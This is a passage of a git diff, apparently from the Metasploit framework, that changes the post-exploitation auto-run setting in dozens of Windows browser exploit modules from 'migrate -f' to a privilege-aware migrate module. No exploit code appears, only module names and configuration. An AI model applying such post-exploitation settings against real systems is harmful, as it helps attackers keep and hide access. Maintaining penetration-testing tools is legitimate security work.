+++ b/modules/exploits/windows/browser/ie_cbutton_uaf.rb
@@ -63,7 +63,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb
index d00bae6af6..8f7909a73f 100644
--- a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb
+++ b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb
@@ -58,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/ie_execcommand_uaf.rb b/modules/exploits/windows/browser/ie_execcommand_uaf.rb
index bad5533df1..3656eee408 100644
--- a/modules/exploits/windows/browser/ie_execcommand_uaf.rb
+++ b/modules/exploits/windows/browser/ie_execcommand_uaf.rb
@@ -59,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb
index 6c8d41af0e..bf8c48a15b 100644
--- a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb
+++ b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb
@@ -84,7 +84,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'PrependMigrate' => true,
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Privileged' => false,
'DisclosureDate' => "Sep 17 2013",
diff --git a/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb b/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb
index 26459acef3..2cd1945cde 100644
--- a/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb
+++ b/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb
@@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => false,
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb b/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb
index 0a0583a308..588c0e68e6 100644
--- a/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb
+++ b/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb
@@ -57,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/inotes_dwa85w_bof.rb b/modules/exploits/windows/browser/inotes_dwa85w_bof.rb
index 66e44e1579..5251bad151 100644
--- a/modules/exploits/windows/browser/inotes_dwa85w_bof.rb
+++ b/modules/exploits/windows/browser/inotes_dwa85w_bof.rb
@@ -61,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/intrust_annotatex_add.rb b/modules/exploits/windows/browser/intrust_annotatex_add.rb
index 3f626ef961..17035dd842 100644
--- a/modules/exploits/windows/browser/intrust_annotatex_add.rb
+++ b/modules/exploits/windows/browser/intrust_annotatex_add.rb
@@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/java_docbase_bof.rb b/modules/exploits/windows/browser/java_docbase_bof.rb
index c8a8cbcec7..625f2b8f50 100644
--- a/modules/exploits/windows/browser/java_docbase_bof.rb
+++ b/modules/exploits/windows/browser/java_docbase_bof.rb
@@ -58,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/java_mixer_sequencer.rb b/modules/exploits/windows/browser/java_mixer_sequencer.rb
index 5817b6720e..c2983fb3ef 100644
--- a/modules/exploits/windows/browser/java_mixer_sequencer.rb
+++ b/modules/exploits/windows/browser/java_mixer_sequencer.rb
@@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => "process",
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/mcafee_mvt_exec.rb b/modules/exploits/windows/browser/mcafee_mvt_exec.rb
index eca4fd4e7d..b72351ea5b 100644
--- a/modules/exploits/windows/browser/mcafee_mvt_exec.rb
+++ b/modules/exploits/windows/browser/mcafee_mvt_exec.rb
@@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => "none",
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/mozilla_attribchildremoved.rb b/modules/exploits/windows/browser/mozilla_attribchildremoved.rb
index e431231c46..11b8a375cd 100644
--- a/modules/exploits/windows/browser/mozilla_attribchildremoved.rb
+++ b/modules/exploits/windows/browser/mozilla_attribchildremoved.rb
@@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb b/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb
index 635d5fc3be..eee4ff70b9 100644
--- a/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb
+++ b/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb
@@ -44,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/mozilla_interleaved_write.rb b/modules/exploits/windows/browser/mozilla_interleaved_write.rb
index be9b94bf4a..8c4e458121 100644
--- a/modules/exploits/windows/browser/mozilla_interleaved_write.rb
+++ b/modules/exploits/windows/browser/mozilla_interleaved_write.rb
@@ -50,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/mozilla_mchannel.rb b/modules/exploits/windows/browser/mozilla_mchannel.rb
index 351ab5261d..9523c605da 100644
--- a/modules/exploits/windows/browser/mozilla_mchannel.rb
+++ b/modules/exploits/windows/browser/mozilla_mchannel.rb
@@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/mozilla_nssvgvalue.rb b/modules/exploits/windows/browser/mozilla_nssvgvalue.rb
index 6b09d042d0..b0da5742b1 100644
--- a/modules/exploits/windows/browser/mozilla_nssvgvalue.rb
+++ b/modules/exploits/windows/browser/mozilla_nssvgvalue.rb
@@ -42,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/mozilla_nstreerange.rb b/modules/exploits/windows/browser/mozilla_nstreerange.rb
index 46ba71e46e..74a5f98f0f 100644
--- a/modules/exploits/windows/browser/mozilla_nstreerange.rb
+++ b/modules/exploits/windows/browser/mozilla_nstreerange.rb
@@ -53,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'thread', # graceful exit if run in separate thread
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/mozilla_reduceright.rb b/modules/exploits/windows/browser/mozilla_reduceright.rb
index 2a78db1bb5..1e3d030aa6 100644
--- a/modules/exploits/windows/browser/mozilla_reduceright.rb
+++ b/modules/exploits/windows/browser/mozilla_reduceright.rb
@@ -46,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => "process",
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/ms05_054_onload.rb b/modules/exploits/windows/browser/ms05_054_onload.rb
index 9027e3b800..29b047312a 100644
--- a/modules/exploits/windows/browser/ms05_054_onload.rb
+++ b/modules/exploits/windows/browser/ms05_054_onload.rb
@@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/ms09_002_memory_corruption.rb b/modules/exploits/windows/browser/ms09_002_memory_corruption.rb
index fb953019b4..e3d674c967 100644
--- a/modules/exploits/windows/browser/ms09_002_memory_corruption.rb
+++ b/modules/exploits/windows/browser/ms09_002_memory_corruption.rb
@@ -42,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb b/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb
index 5d223c0b62..f1351ca547 100644
--- a/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb
+++ b/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb
@@ -32,7 +32,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/ms10_002_ie_object.rb b/modules/exploits/windows/browser/ms10_002_ie_object.rb
index c8c48f817f..a3acec9c72 100644
--- a/modules/exploits/windows/browser/ms10_002_ie_object.rb
+++ b/modules/exploits/windows/browser/ms10_002_ie_object.rb
@@ -50,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb b/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb
index 3bc77c655b..cfd43a5b1a 100644
--- a/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb
+++ b/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb
@@ -80,7 +80,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb b/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb
index 205ab89161..4735af705f 100644
--- a/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb
+++ b/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb
@@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb b/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb
index a0d8c78154..6866f86857 100644
--- a/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb
+++ b/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb
@@ -46,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Platform' => %w{ win },
'Targets' =>
diff --git a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb
index fa32a72eb7..adecbbaa0e 100644
--- a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb
+++ b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb
@@ -63,7 +63,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/ms11_003_ie_css_import.rb b/modules/exploits/windows/browser/ms11_003_ie_css_import.rb
index 00a7558b92..6ad6f0d3f7 100644
--- a/modules/exploits/windows/browser/ms11_003_ie_css_import.rb
+++ b/modules/exploits/windows/browser/ms11_003_ie_css_import.rb
@@ -55,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb b/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb
index 8d6ebad0b1..e6e9341fee 100644
--- a/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb
+++ b/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb
@@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/ms11_081_option.rb b/modules/exploits/windows/browser/ms11_081_option.rb
index b31eaf3ef2..e5b79c692f 100644
--- a/modules/exploits/windows/browser/ms11_081_option.rb
+++ b/modules/exploits/windows/browser/ms11_081_option.rb
@@ -42,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/ms11_093_ole32.rb b/modules/exploits/windows/browser/ms11_093_ole32.rb
index b382a1498c..0ce8917f60 100644
--- a/modules/exploits/windows/browser/ms11_093_ole32.rb
+++ b/modules/exploits/windows/browser/ms11_093_ole32.rb
@@ -45,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/ms12_004_midi.rb b/modules/exploits/windows/browser/ms12_004_midi.rb
index 16cec1843d..1e4148a5fe 100644
--- a/modules/exploits/windows/browser/ms12_004_midi.rb
+++ b/modules/exploits/windows/browser/ms12_004_midi.rb
@@ -57,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => "process",
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/ms12_037_ie_colspan.rb b/modules/exploits/windows/browser/ms12_037_ie_colspan.rb
index af516188b1..bd21e67a57 100644
--- a/modules/exploits/windows/browser/ms12_037_ie_colspan.rb
+++ b/modules/exploits/windows/browser/ms12_037_ie_colspan.rb
@@ -45,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/ms12_037_same_id.rb b/modules/exploits/windows/browser/ms12_037_same_id.rb
index ae82b71a96..8e1aa2f595 100644
--- a/modules/exploits/windows/browser/ms12_037_same_id.rb
+++ b/modules/exploits/windows/browser/ms12_037_same_id.rb
@@ -45,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb b/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb
index 66098c6c37..da1bca2765 100644
--- a/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb
+++ b/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb
@@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb b/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb
index d766b0638d..a9a55bf86b 100644
--- a/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb
+++ b/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb
@@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
diff --git a/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb b/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb
index 09200f72af..9aace12737 100644
--- a/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb
+++ b/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb
@@ -56,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Arch' => ARCH_X86,
diff --git a/modules/exploits/windows/browser/ms13_055_canchor.rb b/modules/exploits/windows/browser/ms13_055_canchor.rb
index 55980c503d..9aff17a110 100644
--- a/modules/exploits/windows/browser/ms13_055_canchor.rb
+++ b/modules/exploits/windows/browser/ms13_055_canchor.rb
@@ -75,7 +75,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Privileged' => false,
# Bug was patched in July 2013. Tsai was the first to publish the bug.
diff --git a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb
index fc2563ea71..bc1a43968d 100644
--- a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb
+++ b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb
@@ -75,7 +75,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Privileged' => false,
'DisclosureDate' => "Jun 27 2013",
diff --git a/modules/exploits/windows/browser/ms13_069_caret.rb b/modules/exploits/windows/browser/ms13_069_caret.rb
index 6178bc76a8..ea4b88d0fd 100644
--- a/modules/exploits/windows/browser/ms13_069_caret.rb
+++ b/modules/exploits/windows/browser/ms13_069_caret.rb
@@ -72,7 +72,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Privileged' => false,
'DisclosureDate' => "Sep 10 2013",
diff --git a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb
index 6ee1ddd0da..e635e9d0f5 100644
--- a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb
+++ b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb
@@ -76,7 +76,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
#'PrependMigrate' => true,
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Privileged' => false,
# Jsunpack first received a sample to analyze on Sep 12 2013.
diff --git a/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb b/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb
index 136025b1a0..04a9053d34 100644
--- a/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb
+++ b/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb
@@ -94,7 +94,7 @@ class MetasploitModule < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
'Retries' => false
},
'Privileged' => false,
diff --git a/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb b/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb
index 5b709aacba..8905a75dc4 100644
--- a/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb
+++ b/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb
@@ -52,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
'Retries' => false
},
'Targets' =>
diff --git a/modules/exploits/windows/browser/ms14_012_textrange.rb b/modules/exploits/windows/browser/ms14_012_textrange.rb
index 5b2f00c98e..8b62789967 100644
--- a/modules/exploits/windows/browser/ms14_012_textrange.rb
+++ b/modules/exploits/windows/browser/ms14_012_textrange.rb
@@ -59,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'Retries' => false, # You're too kind, tab recovery, I only need 1 shell.
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'DisclosureDate' => "Mar 11 2014", # Vuln was found in 2013. Mar 11 = Patch tuesday
'DefaultTarget' => 0))
diff --git a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb
index dac7e039f8..d55c8d119f 100644
--- a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb
+++ b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb
@@ -56,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb
index a61d88ca68..98709c17f2 100644
--- a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb
+++ b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb
@@ -56,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/ntr_activex_check_bof.rb b/modules/exploits/windows/browser/ntr_activex_check_bof.rb
index 611029ad99..a309616e1f 100644
--- a/modules/exploits/windows/browser/ntr_activex_check_bof.rb
+++ b/modules/exploits/windows/browser/ntr_activex_check_bof.rb
@@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/ntr_activex_stopmodule.rb b/modules/exploits/windows/browser/ntr_activex_stopmodule.rb
index e943b11db0..18cdbcf0f9 100644
--- a/modules/exploits/windows/browser/ntr_activex_stopmodule.rb
+++ b/modules/exploits/windows/browser/ntr_activex_stopmodule.rb
@@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb b/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb
index f4cccba075..57f35dfbae 100644
--- a/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb
+++ b/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb
@@ -56,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb b/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb
index 9335d80815..9d51003aa1 100644
--- a/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb
+++ b/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb
@@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f -k'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/ovftool_format_string.rb b/modules/exploits/windows/browser/ovftool_format_string.rb
index 7184ac812a..4bb79207f8 100644
--- a/modules/exploits/windows/browser/ovftool_format_string.rb
+++ b/modules/exploits/windows/browser/ovftool_format_string.rb
@@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/pcvue_func.rb b/modules/exploits/windows/browser/pcvue_func.rb
index d4018ccb1e..7d067b8eb4 100644
--- a/modules/exploits/windows/browser/pcvue_func.rb
+++ b/modules/exploits/windows/browser/pcvue_func.rb
@@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/quickr_qp2_bof.rb b/modules/exploits/windows/browser/quickr_qp2_bof.rb
index af452faef1..a9ed766c59 100644
--- a/modules/exploits/windows/browser/quickr_qp2_bof.rb
+++ b/modules/exploits/windows/browser/quickr_qp2_bof.rb
@@ -59,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
